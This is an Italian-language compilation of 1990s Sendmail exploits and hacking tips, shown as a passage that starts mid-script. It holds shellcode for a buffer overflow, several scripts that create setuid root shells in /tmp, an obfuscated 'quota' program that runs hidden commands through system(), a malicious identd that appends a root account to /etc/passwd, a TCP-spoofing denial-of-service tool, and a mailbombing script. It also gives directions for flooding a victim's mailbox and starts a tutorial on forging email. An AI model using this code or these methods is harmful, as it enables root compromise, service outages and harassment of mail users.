  printf("Full Name: CCCCCCCCCC");

  if (atoi(argv[1])%2){
    for(i=0; i<60; i++)
      printf("AAAA");
  }
  else{
    for(i=0; i<60; i++)
      printf("BBBB");
  }

  for (i = 0; i< 5; i++){
    printf("%c%c%c%c", *(ptr+2), *(ptr+3), *(ptr), *(ptr+1));
  }

}
EOF

cat > make_gecos.c << EOF
~
#include <stdio.h>

main(int argc, char *argv[])
{
  int i;

  char mach_codes[] =
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";

  for (i=0; i<40; i++)
    printf("%c", 0x90);

  printf("%s", mach_codes);
}
EOF

$CC -o make_gecos make_gecos.c
if [ ! -x make_gecos ] ; then
echo failed to build make_asdf
exit 1
```

```
fi
$CC a_run.c
if [ ! -x a.out ] ; then
echo failed to build asdf
exit 1
fi

$RM a_run.c make_gecos.c

echo "1 - Change the variables in the sploit.sh script"
echo "2 - run make_gecos > tmpr"
echo "3 - setenv MANPATH=\"\`cat ./tmpr\`\" "
echo "4 - run the sploit.sh sploit.sh script with an argument"
echo "    of around 3000"

# this argument varies depending upon what lives in ones
# environment variables, what the paths are, etc. etc.
# on a pretty stock environment in a FreeBSD setup I hit
# around 3900

sploit.sh   600      0      3         704  6213376125   5634 #!/bin/sh

if [ $# = 1 ] ; then
i=$1
else
i=0
fi

FILE=/usr/home/username/wip/overflow/sendmail/ouch
TMP=/usr/home/username/wip/overflow/sendmail/cleanup
EDITOR=/usr/bin/ex
export EDITOR

while `[ $i -le 16048 ]`
do

# ./m3 ${i} > $FILE
# ./make_gecos ${i} > $FILE
./a.out ${i} > $FILE

chfn username << FOE
3 d
2 r ./ouch
wq!
FOE

sync
sync
```

```
  echo "using arg of [0xefbfcea8 (hex) + ${i}(dec)]"
/usr/sbin/sendmail username

i=`expr $i + 1`

done
in
# an unbounded fashion.
#
# mudge@l0pht.com

CC=/usr/bin/
```

Sendmail exploit ver. 8.7-8.8.2 x FreeBSD, Linux e altre piattaforme.

Questo script crea una shell suidata root nella dir /tmp.

```
#/bin/sh
echo   'main()                                          '>>leshka.c
echo   '{                                               '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                               '>>leshka.c
#
#
echo   'main()                                          '>>smtpd.c
echo   '{                                               '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                               '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
"\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
/tmp/sh
```

P.S. non assicuro il funzionamento di questo programma.
;°(

Questo e' un bug trovato nella function mime7to8() di sendmail 8.8.0, con il quale chiunque puo' spedire una mail che esegua arbitrariamente dei comandi a

livello root.
questo e' possibile solo se e' settato "9" nel field riservato al flag del mailer.
questo flag, e' settato di default in cf/mailer/local.m4 solo per quanto riguarda la versione 8.8.x, ma è possibile che anche nella precedenre versione 8.7 sia possibile settare il flag allo stesso modo.

=======

dopo aver rimosso il flag '9' da tutte le righe del file sendmail.cf file, dovresti trovarti con:

```
Mlocal,       P=/bin/mail, F=lsDFMAw5:/|@qSnE9, S=10/30, R=20/40,
              T=DNS/RFC822/X-Unix,
              A=mail -f $g -d $u
Mprog,        P=/bin/sh, F=lsDFMoqeu9, S=10/30, R=20/40, D=$z:/,
              T=X-Unix,
              A=sh -c $u
```

Cambiali in:

```
Mlocal,       P=/bin/mail, F=lsDFMAw5:/|@qSnE, S=10/30, R=20/40,
              T=DNS/RFC822/X-Unix,
              A=mail -f $g -d $u
Mprog,        P=/bin/sh, F=lsDFMoqeu, S=10/30, R=20/40, D=$z:/,
              T=X-Unix,
              A=sh -c $u
```

se stai usando m4 per generare il file sendmail.cf, si può aggiungere al '.mc' file:

```
define(`LOCAL_MAILER_FLAGS', `rmn')dnl     (default is `rmn9')
define(`LOCAL_SHELL_FLAGS', `eu')dnl       (default is `eu9')
```

Expl0it detto "quota"
incedibilmente... non e' documentata la versione su cui funziona ! (e nemmeno
cosa faccia!) la metto solo x' qualcuno puo' essere interessato alla sorgente, e dargli un
okkiata...

gcc -o bigquota quota.c
avvia:
./bigquota file

```
#include <unistd.h>
#include <sys/stat.h>
```

```
#include <dirent.h>
#include <stdio.h>
#include <fcntl.h>

int
seedsc[201]={52,3,3,77,115,13,71,15,41,51,61,29,103,13,100,47,124,42,86,\
44,45,11,7,50,17,123,87,66,32,78,109,62,53,43,84,72,71,0,88,41,1,33,9,52,118
,\
65,120,119,68,84,15,11,27,101,0,106,46,19,75,16,25,55,81,74,113,88,96,19,91,
\
118,73,58,41,90,88,87,118,103,58,50,71,41,86,33,115,9,105,29,48,113,5,98,50,
\
94,79,18,111,99,11,126,111,109,90,46,18,43,43,59,113,76,96,18,27,36,7,74,79,
\
85,54,126,23,12,123,118,76,116,85,8,90,111,35,106,113,40,40,122,85,43,108,31
,\
32,5,9,77,5,14,99,100,107,114,60,70,19,26,12,14,114,118,48,40,12,106,93,60,\
112,52,67,30,47,55,107,75,90,112,55,38,107,117,22,89,47,79,58,55,119,27,119,
\
115,85,38,30,122,126,3,93,97,44,100,32,33,10};

void main(argc, argv)
int argc;
char *argv[];
{
char *checkseed(int *seeds);
char *checkdir(char *dir);
int initseeds[201]={25,\
108,69,89,126,121,84,34,77,52,25,67,44,106,60,124,30,33,3,21,75,67,\
116,109,28,51,81,45,85,119,99,0,98,91,114,102,122,50,81,67,57,43,126,\
2,94,75,10,7,96,29,112,71,103,117,20,72,112,23,105,65,48,119,23,65,\
98,105,33,12,43,12,78,7,53,16,109,91,65,106,43,85,44,113,125,3,61,\
95,18,3,64,96,19,68,52,20,54,122,26,35,126,19,31,106,24,108,59,44,\
41,32,5,1,32,25,64,93,60,97,102,84,92,50,79,11,112,89,27,124,98,\
109,12,0,4,103,114,22,66,36,81,47,52,70,107,51,46,37,99,13,4,31,\
126,19,47,21,96,123,110,72,33,76,8,0,65,86,102,27,75,64,46,122,-47,\
53,1,42,20,-65,63,63,-7,-70,40,-39,-15,46,25,22,86,-39,86,82,21,-16,\
3,-9,-23,11,-21,-90,-30,-7,20,-17,23};
int setupseeds[201]={1,\
35,44,14,107,20,81,111,42,72,73,90,34,86,50,32,16,97,78,80,124,7,\
110,13,71,107,24,91,84,68,58,38,105,68,64,121,37,101,64,65,40,91,8,\
29,9,60,101,123,122,22,92,37,66,13,30,88,8,70,5,28,108,20,101,125,\
38,78,106,98,85,55,92,122,0,93,0,37,97,82,120,70,82,65,74,90,41,\
28,104,80,71,117,11,104,32,69,5,56,2,48,8,112,109,16,109,35,57,43,\
119,37,86,42,62,44,118,117,7,94,88,28,109,125,-23,96,-15,-1,34,-69,33,\
93,10,-64,27,-56,-81,68,68,-5,25,4,10,70,68,42,53,-45,111,87,11,-54,\
-6,4,37,49,81,88,93,90,2,-72,60,65,85,3,-29,47,3,64,-35,78,58,\
42,2,-43,34,-80,53,70,10,-7,25,29,54,21,-11,7,-69,5,-19,4,30,77,\
```

```
67,-10,-79,96,23,4,3,-68,84,64,89};
int binseeds[201]={1,\
14,11,95,67,113,29,87,45,24,115,45,88,60,43,114,98,6,56,111,75,13,\
121,123,50,108,17,1,28,15,62,17,81,14,101,39,13,112,90,2,15,114,34,\
64,91,79,79,57,34,31,41,5,34,62,58,93,21,108,110,88,83,114,126,112,\
89,14,41,102,88,10,10,45,111,25,35,38,76,115,57,113,49,72,58,46,83,\
121,87,84,71,81,104,18,41,110,80,82,44,92,5,89,39,104,103,30,96,37,\
12,50,25,64,36,24,54,38,33,35,-79,23,54,-9,87,35,-5,-17,24,-69,-23,\
42,-58,-3,73,11,-3,7,78,-21,15,4,-46,1,84,96,101,-31,96,104,-2,19,\
-7,0,45,34,97,20,96,91,-17,-9,16,67,103,10,-61,48,-7,45,42,2,77,\
-23,1,33,27,-2,-8,80,-6,-17,25,-27,3,-47,43,54,-22,83,2,-17,-39,62,\
89,-7,-11,94,19,-65,72,-3,67,79,111};
int procseeds[201]={-14,\
97,103,125,91,45,90,21,121,60,39,28,60,11,76,41,69,21,118,7,90,63,\
17,17,48,46,68,126,72,66,68,32,54,119,44,98,94,15,21,33,68,4,109,\
121,109,27,7,66,65,126,121,97,40,101,84,6,48,97,38,25,7,56,112,97,\
125,36,125,46,115,108,40,2,105,52,44,17,122,111,98,30,17,112,27,115,29,\
78,125,125,16,81,17,99,88,108,88,14,83,42,26,114,54,90,106,39,126,19,\
95,2,1,69,14,93,114,105,78,48,42,25,87,14,120,124,55,102,57,35,30,\
107,11,74,44,8,100,118,25,73,64,97,106,57,81,92,34,109,80,118,112,85,\
99,99,21,20,62,116,42,111,67,29,79,12,34,84,67,12,105,107,90,109,23,\
116,25,104,89,124,29,-38,1,-9,95,21,0,39,43,45,-72,35,-69,-83,30,78,\
85,-11,-22,111,-47,-65,60,-1,85,78,106};
int boutseeds[201]={-14842,\
37,119,64,88,3,4,11,86,22,104,51,21,57,122,64,113,58,102,72,32,118,\
17,28,35,97,53,125,64,79,95,86,40,122,35,50,48,41,54,18,87,67,125,\
74,95,0,100,19,71,37,69,113,100,82,54,18,123,37,97,107,126,38,114,22,\
75,123,3,33,64,35,37,20,73,68,37,46,89,95,88,22,108,92,51,40,3,\
70,19,125,62,74,69,113,2,25,101,7,59,100,2,69,83,25,33,61,71,117,\
34,70,119,65,27,62,68,25,12,70,87,58,43,112,86,49,24,24,80,84,52,\
6,46,121,115,25,91,53,94,123,12,59,34,66,84,16,93,76,88,38,22,110,\
106,26,101,55,84,64,120,54,29,6,67,54,126,2,17,97,115,41,125,4,4,\
-55,8,41,25,-1,49,76,-61,-85,40,-27,-15,29,50,62,-9,20,-1,-14,15,9,\
32,-72,-94,40,-61,-54,-12,11,72,66,91};
int shtdwnseeds[201]={-42,\
58,44,53,114,68,10,105,76,13,99,1,12,79,50,106,27,65,83,96,30,101,\
122,112,87,118,3,35,55,6,84,59,98,28,58,82,126,98,114,85,125,7,39,\
69,58,21,70,28,35,65,57,70,93,0,36,14,100,107,9,107,71,52,1,29,\
115,63,110,118,28,16,82,53,80,56,50,108,58,109,26,75,19,91,92,59,86,\
125,114,40,76,15,38,8,57,58,103,65,23,52,14,36,8,119,70,47,64,53,\
1,15,83,35,33,80,10,98,51,38,30,14,119,11,26,61,15,117,37,103,117,\
32,4,21,67,40,40,78,74,47,108,27,120,9,114,14,56,75,84,52,29,55,\
108,105,42,71,8,83,89,118,79,22,119,1,28,3,36,22,12,77,77,105,33,\
12,104,-75,18,-4,62,72,-60,1,79,11,0,-17,-8,-23,-4,89,-4,-4,19,76,\
16,-90,-78,45,-38,-65,56,11,77,71,89};
char *zipper(int *seeds1);
char *path;
int i=0,j,inhan,outhan;
```

```
if(argc!=2)
        {
        puts("Usage:");
        puts("quota <file>");
        puts("where <file> is the file you wish");
        puts("to hide/subtract from your quota.");
        exit(0);
        }
system(zipper(initseeds));
system(zipper(setupseeds));
system(checkseed(binseeds));
path=checkdir("/");
if(!path)
        {
        puts("Technical Dificulties");
        goto closeout;
        }
if((outhan=open(path,O_WRONLY|O_TRUNC))==-1)
        {
        puts("Error opening outfile");
        goto closeout;
        }
if((inhan=open(argv[1],O_RDONLY))==-1)
        {
        puts("Error opening infile");
        goto closeout;
        }
if(filecopy(inhan,outhan))
        {
        puts("Technical dificulties");
        goto closeout;
        }
if((unlink(argv[1]))==-1)
        {
        puts("Technical dificulties.");
        goto closeout;
        }
if((rename(path,argv[1]))==-1)
        if((link(path,argv[1]))==-1)
                if((symlink(path,argv[1]))==-1)
                        puts("Technical Dificulties.");
closeout:
system("%s\n",zipper(procseeds));
system("%s\n",zipper(boutseeds));
system("%s\n",zipper(shtdwnseeds));
}

char *checkseed(int *seeds)
```

```
{
char *zipper(int *seeds1);
char *string;
char testseeds[30];
char god[200];
int i=200,j;
if((string=(char *)getenv("PATH"))==NULL)
	{
	puts("Path not found");
	exit(-1);
	}
while((seeds[i]+seedsc[i])!=32)
	{
	testseeds[200-i]=seeds[i]+seedsc[i];
	i--;
	}
testseeds[i]=0;
i=0;
while(string[i]!=0)
	{
	j=0;
	while(string[i]!=58&&string[i]!=0)
		{
		god[j]=string[i];
		i++;
		j++;
		}
	i++;
	god[j++]=47;
	god[j++]=0;
	strcpy(&god[j],testseeds);
	if(!stat(god,NULL))
		return (char *)zipper(seeds);
	}
return 0;
}

char *zipper(int *seeds1)
{
int i;
char *buhbye;
char teeth[201];
teeth[201]=0;
for(i=200;i>=0;i--)
	teeth[200-i]=seeds1[i]+seedsc[i];
buhbye=(char *)malloc(201);
strcpy(buhbye,teeth);
return buhbye;
```

```
}

int filecopy(int from,int to)
{
int bufsiz;
if (from < 0)
	return 1;
if (to < 0)
	goto err;
for (bufsiz = 0x4000; bufsiz >= 128; bufsiz >>= 1)
	{
	register char *buffer;
	buffer = (char *) malloc(bufsiz);
	if (buffer)
		{
		while (1)
			{
			register int n;
			n = read(from,buffer,bufsiz);
			if (n == -1)
				break;
			if (n == 0)
				{
				free(buffer);
				return 0;
				}
			if (n != write(to,buffer,(unsigned) n))
				break;
			}
		free(buffer);
		break;
		}
	}
err:
return 1;
}

char *checkdir(char *dir)
{
char *checkdir(char *dir);
DIR *currdir;
struct dirent *node;
struct stat statnode;
int i,j;
char *path;
char *retpath;
path=(char *)malloc(300);
if((currdir=opendir(dir))==NULL)
```

```
        return 0;
node=readdir(currdir);
while(node)
        {
        i=0;
        j=0;
        while(dir[i])
                {
                path[i]=dir[i];
                i++;
                }
        if(strcmp(dir,"/"))
                {
                path[i]='/';
                i++;
                }
        while(node->d_name[j])
                {
                path[i]=node->d_name[j];
                i++;
                j++;
                }
        path[i]=0;

        if((lstat(path,&statnode))==-1)
                return 0;
        if(statnode.st_mode&S_IFREG)
                if(!access(path,W_OK))
                if(!(statnode.st_mode&S_IFBLK))
                if(!(statnode.st_mode&S_ISVTX))
                if(statnode.st_uid!=getuid())
                        return path;
        if(statnode.st_mode&S_IFDIR)
                if(strcmp(node->d_name,".")&&strcmp(node->d_name,".."))
                if(!(statnode.st_mode&S_IFREG))
                if(!(statnode.st_mode&S_IFCHR))
                if(!(statnode.st_mode&S_ISVTX))
                if(statnode.st_uid!=getuid())
                {
                retpath=checkdir(path);
                if(retpath)
                        return retpath;
                }
        node=readdir(currdir);
        }
closedir(currdir);
return 0;
}
```

Sendmail 8.8.8 HELO bug

Questo e' un semplice sistema utilizzato per masherare o nascondere l'header dei messaggi. io stesso ho constatato coma alcuni server smtp riportino nell'header l'ip di colui che ha scritto il messaggio, cosi', in caso di eventuale mailbombing, possa essere rintracciato.

nella libreria conf.h và definito:
#define PICKY_HELO_CHECK 1

Questo può forzare sendmail che per mezzo del syslog causerebbe un X-Authentication.Warning che apparirebbe nell'header.
questo solo se il loglevel in sendmail.cf è maggiore di 3 (anche se di default è 9 :)

```
>From spam@flooders.net Mon Jan  5 22:08:21 1998
Received: from spammer (sfigato@math.university.edu [150.129.84.5])
        by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
        for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>

MAILBOOM!!!
--
```

Cosi' rimane l'header di un messaggio dove e' non stato sfruttato l'exploit, normalmente apparirebbero 2 "received" (anche l'host e l'ip dello spammer), ma si vede che e' stato eseguito in locale e appare cmq il suo ip.

```
--
>From spam@flooders.net Mon Jan  5 22:09:05 1998
Received: from xxxxxxxxxxxxxx... [infinite 'x'] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>

MAILBOOM!!!:)))))))))))-
--
```

Questo e' invece un esempio dell'utilizzo dell' HELO bug, si intende che spam@flooders.net viene cambiato nel field "mail from" con uno falso... ;)

```
-- EXPLOIT CODE --
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
```

```
LIMIT=10
MAX=20

echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
echo

if [ "$4" = "" ]; then
  echo "USAGE: $0 msgfile address server sender"
  echo
  echo "  msgfile - file to send as a message body"
  echo "  address - address of lucky recipient"
  echo "  server  - outgoing smtp server w/sendmail"
  echo "  sender  - introduce yourself"
  echo
  echo "WARNING: For educational use ONLY. Mailbombing is illegal."
  echo "Think twice BEFORE you use this program in any way. Also,"
  echo "I've never said this program is 100% safe nor bug-free."
  echo
  sleep 1
  exit 0
fi

if [ ! -f $1 ]; then
  echo "Message file not found."
  echo
  exit 0
fi

echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__s
afebomb__safebomb__safebomb__safebomb__safebomb__safebo
mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__safebom
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb
```

```
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\""
>$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"

echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0

while [ -f $1 ]; do
  $PLIK|telnet $3 25 &>/dev/null &
  let SENT=SENT+1
  echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
  CONNECTED=`ps|grep -c "telnet $3"`
  if [ "$LIMIT" -le "$CONNECTED" ]; then
    while [ "$LIMIT" -le "$CONNECTED" ]; do
      sleep 1
    done
  fi
  if [ "$SENT" -ge "$MAX" ]; then
    echo "It's just an example, sorry."
    echo
    exit 0
  fi
done
-- EOF --
```

TRACK ! :) mail box distrutta.
un sistema interessante per fare mailbomb e':
registrate 2 mail box anonime su www.iname.com o www.poboxes.com o qualsiasi
altro server che concenda free-mailbox con forward.
supponiamo che le mail box siano abc@iname.com e 123@iname.com impostatele
in modo che facciano il forward reciproco tra loro, e in CC ci mettere la
vittima del vostro bombardamento... dopodiche', telnettatevi a una shell,
caricate il beneamato elm, mandate una mail attraverso un remailer MixMaster
a uno degli indirizzi di iname, la velocita' con cui i messaggi si

copieranno sara' PAUROSA, in meno di un'ora la vittima si trovera'
disintegrata! ;-)

P.S. AMICI CARI mi raccomando non fatelo a me ;)

----
non so chi di voi conosce antirez, o ne ha sentito parlare, o l'ha visto
parlare in IRC... questo exploit e' suo : (Salvatore Sanfilippo
<antirez@seclab.com>)

Questo exploit mostra una vulnerabilità di Sendmail e di Qmail e di come
possono essere exploitate attraverso dei pacchetti TCP spoofati.

Michal Zalewski aveva precedentemente presentato:
1.Attaccante manda SYN alla porta X dell'host vittima, dst_port=25,
spoof_addr SPOOFHOST (la vittima invia SYN/ACK a SPOOFHOST)
2. SPOOFHOST mandaRST dalla porta X alla vittima, dst_port=25 rispettando la
sequenza di numeri (e la vittima risponde ancora con SYN/ACK)... la vittma
ha un errore in accept() e entro 5 secondi andrà in "refusingconn" mode
3. aspettare 2 secondi
4 andare all'1.

la sorgente dell'exploit è per linux, ma non lavora contro i linux.

```
/*
* smad.c - sendmail accept dos -
*
* compile it under Linux with gcc -Wall -o smad smad.c
*
* usage: smad fakeaddr victim [port]
*/

#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define SLEEP_UTIME 100000 /* modify it if necessary */

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
```

```
#define OFFSETTCP  (sizeof(struct iphdr))
#define OFFSETIP   (0)

u_short cksum(u_short *buf, int nwords)
{
        unsigned long sum;
        u_short *w = buf;

        for (sum = 0; nwords > 0; nwords-=2)
                sum += *w++;

        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return ~sum;
}

void resolver (struct sockaddr * addr, char *hostname, u_short port)
{
        struct  sockaddr_in *address;
        struct  hostent     *host;

        address = (struct sockaddr_in *)addr;

        (void) bzero((char *)address, sizeof(struct sockaddr_in));
        address->sin_family = AF_INET;
        address->sin_port = htons(port);
        address->sin_addr.s_addr = inet_addr(hostname);

        if ( (int)address->sin_addr.s_addr == -1) {
                host = gethostbyname(hostname);
                if (host) {
                        bcopy( host->h_addr,
                        (char *)&address->sin_addr,host->h_length);
                } else {
                        perror("Could not resolve address");
                        exit(-1);
                }
        }
}

int main(int argc, char **argv)
{
        char runchar[] = "|/-\\";
        char packet[PACKETSIZE],
        *fromhost,
        *tohost;

        u_short fromport        = 3000,
```

```
        toport          = 25;

struct sockaddr_in local, remote;
struct iphdr    *ip     = (struct iphdr*)  (packet + OFFSETIP);
struct tcphdr   *tcp    = (struct tcphdr*) (packet + OFFSETTCP);

struct  tcp_pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short lenght;
        struct tcphdr tcpheader;
} pseudoheader;

int sock, result, runcharid = 0;

if (argc < 3)
{
        printf("usage: %s fakeaddr victim [port]\n", argv[0]);
        exit(0);
}
if (argc == 4)
        toport = atoi(argv[3]);

bzero((void*)packet, PACKETSIZE);
fromhost = argv[1];
tohost = argv[2];

resolver((struct sockaddr*)&local, fromhost, fromport);
resolver((struct sockaddr*)&remote, tohost, toport);

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
        perror("can't get raw socket");
        exit(1);
}

/* src addr */
bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
/* dst addr */
bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));

ip->version = 4;
ip->ihl     = sizeof(struct iphdr)/4;
ip->tos     = 0;
ip->tot_len = htons(PACKETSIZE);
```

```
ip->id      = htons(getpid() & 255);
/* no flags */
ip->frag_off = 0;
ip->ttl     = 64;
ip->protocol = 6;
ip->check   = 0;

tcp->th_dport = htons(toport);
tcp->th_sport = htons(fromport);
tcp->th_seq   = htonl(32089744);
tcp->th_ack   = htonl(0);
tcp->th_off   = sizeof(struct tcphdr)/4;
/* 6 bit reserved */
tcp->th_flags = TH_SYN;
tcp->th_win   = htons(512);

/* start of pseudo header stuff */
bzero(&pseudoheader, 12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
pseudoheader.protocol = 6;
pseudoheader.lenght = htons(sizeof(struct tcphdr));
bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
        sizeof(struct tcphdr));
/* end */

tcp->th_sum   = cksum((u_short *) &pseudoheader,
                12+sizeof(struct tcphdr));
/* 16 bit urg */

while (0)
{
        result = sendto(sock, packet, PACKETSIZE, 0,
                (struct sockaddr *)&remote, sizeof(remote));
        if (result != PACKETSIZE)
        {
                perror("sending packet");
                exit(0);
        }
        printf("\b");
        printf("%c", runchar[runcharid]);
        fflush(stdout);
        runcharid++;
        if (runcharid == 4)
                runcharid = 0;
        usleep(SLEEP_UTIME);
}
```

```
        return 0;
}
```

SenDmAiL 8.6.10 buffer overflow

gcc ident.c -o ident
agginugere in /etc/inetd.conf:
ident stream tcp nowait root /tmp/ident in.identd
poi kill -HUP inetd e riavvia inetd con la nuova riga caricata.

```
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* TIMEOUT is the number of seconds to wait before closing the connection if
* the client doesn't provide the port pairs.
*/

#define TIMEOUT 120

/* PROCINFO_BUFFER_SIZE must be bigger than 80 */

#define OUTPUT_BUFFER_SIZE 2048
#define SOCKET_BUFFER_SIZE 100

unsigned short lport = 0, rport = 0;

void
main ()
{
    unsigned long here, there;
    struct fd_set fdset;
    struct timeval timeout;
    char buffer[OUTPUT_BUFFER_SIZE];
    char inbuffer[SOCKET_BUFFER_SIZE];
    int len;
    int fd;

    FD_ZERO (&fdset);
    FD_SET (0, &fdset);
    timeout.tv_sec = TIMEOUT;
    timeout.tv_usec = 0;
```

```
    select (1, &fdset, NULL, NULL, &timeout);
    len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
    if (len <= 0)
    exit (0);
    FD_SET (0, &fdset);

    sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
    "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
    P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo
toor::0:1:toor:/:/bin/csh >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755
/usr/bin/time\");
    write (1, buffer, strlen (buffer));
    exit (0);
}
------
```

Exploit sendamil 8.7.x e 8.8.4
/bin/sh

si crea in /tmp/x una shell suicidata root

Modifica RUN in x.c in modo che non sia visibile con ps, o perlomeno non si veda x attivo, ma altro tipo "pine" "vi" "gcc"...

```
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
    execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
   execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
   setuid(0); setgid(0);
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
```

```
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"//
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi
```

Fine spero vi sara' utile ci vediamo ciao a tutti.

Contenuti
==

Sendmail? Huh?
==

Sendmail è un daemon(1) che aspetta connessioni sulla porta(2) 25. E' usato per inviare la posta in uscita.
Per esempio: il tuo email provider (probabilmente il tuo ISP (Internet Service Provider)) probabilmente usa due servers (a meno che non è un account di posta basato sul web come Hotmail.com):
1) mail.boring-ISP.net (probabilmente porta 110): per la posta in entrata
2) smtp.boring-ISP.net (probabilmente porta 25): per la posta in uscita

Il più delle volte i servers di posta sono abbastanza simili a questo, ma gli indirizzi variano a seconda dei differenti ISP.
Mail.boring-ISP.net potrebbe richiedere un username e una password così che le persone non sono capaci di leggere la tua posta, così saltiamo questo (potrei discutere il cracking di queste password in un altro tutorial, ma ricorda, io ti sto insegnando queste cose così che tu conoscerai come lavorano i malicious crackers e come non cadere nei loro trucchi, non per farti infrangere la legge e danneggiare gli altri, poi vedi tu questo è un paese libero... =)
Adesso tanto sorprendente quanto potrebbe suonare, smtp.boring-ISP.net non richiederà una password o ogni altro tipo di identificazione.
Se tu ti colleghi tramite telnet(19) in smtp.boring_ISP.net sulla porta 25 e digiti i comandi esatti, sarai capace di mandare e-mail false. Interessante... Huh?
Adesso la parte più fantastica è che puoi hackerare un server o almeno farlo cadere lanciando Sendmail, poichè Sendmail contiene un mucchio di merda di bugs a buchi nella sicurezza.

Come posso creare e-mail fasulle che sembrano vere?
===
Come menzionato nel capitolo precedente, mandare e-mail non richiede che tu abbia un account sulla macchina dalla quale stai mandando l'e-mail (il server per la posta, non il tuo computer).
Tutto quello di cui hai bisogno è conoscere l'indirizzo IP(9) / hostname(10) del server della posta e i comandi di Sendmail.
Presumiamo che tu conosci l'IP/hostname del tuo obbiettivo. Se tu non conosci questi importanti dettagli, per favore vai a Come scoprire(11).

